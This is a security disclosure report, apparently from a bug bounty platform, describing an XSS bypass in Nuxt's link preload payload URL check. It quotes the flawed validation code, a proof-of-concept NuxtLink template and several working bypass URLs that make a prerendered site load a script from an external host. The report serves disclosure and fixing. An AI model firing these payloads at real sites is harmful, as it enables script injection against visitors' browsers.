Link Preload XSS bypass in nuxt/framework
Reported on
Dec 22nd 2022
Description
Link preloads still do not effectively confirm if the requested link is external. This is a bypass to the fix for CVE-2022-4414.
Root Cause
The _getPayloadURL
function was adapted after the disclosure to use the browsers built in URL parser to properly check for a valid URL. This is a great idea as it reduces the risk of a parser differential.
function _getPayloadURL (url: string, opts: LoadPayloadOptions = {}) {
const u = new URL(url, 'http://localhost')
if (u.search) {
throw new Error('Payload URL cannot contain search params: ' + url)
}
if (u.host !== 'localhost') {
throw new Error('Payload URL cannot contain host: ' + url)
}
const hash = opts.hash || (opts.fresh ? Date.now() : '')
return joinURL(useRuntimeConfig().app.baseURL, u.pathname, hash ? `_payload.${hash}.js` : '_payload.js')
}
After the check is completed the u.pathname
value of the newly parsed URL is used.
This pathname
value is under our control. We can use the same trick as before to create a URL that satisfies the first condition while still being interpreted differently by the browser.
Exploitation
This vulnerability still only exists on prerendered sites. Same requirements as previous vulnerability.
Proof of concept
<template>
<div>
<NuxtLink :to="r.query.u">Your Link Here</NuxtLink>
</div>
</template>
<script setup lang="ts">
const r = useRoute() as any;
</script>
Navigate to URL: http://site/?u=//localhost//io.bryces.io
Further Research
A different approach I've seen to this type of problem is to use fetch
to get the data and then use Response.url
to check the origin is correct. See references.
Impact
This vulnerability only impacts static sites, meaning there is a fairly low likelihood that this vulnerability could occur. However there appear to be future plans to expand this feature to other modes where there this would have far more impact.
Risk can be mitigated using a strict CSP.
References
I think this vulnerability might also occur in nuxt2, I need to do some more testing but is it worth reporting separately?
Thanks for this. Yes, feel free to investigate and report separately ❤️
Still exploitable, first issue has now regressed /\a//io.bryces.io
This payload works now /\localhost//io.bryces.io
. I don't think hasProtocol
is robust enough for this check as it can be bypassed many ways.
Bypassed again 😎 //localhost/\\io.bryces.io
.
I think there needs to be a different approach here, this is not an easily solved problem and will always be possible because of parser differentials, you can't perfectly model how URLs may be parsed in the browser.
A simple fix would be to add a prefix to the path, this is unexploitable if there is anything other than /
at the start of the URL. A /_nuxt
prefix would fix the issue and not require complex detection.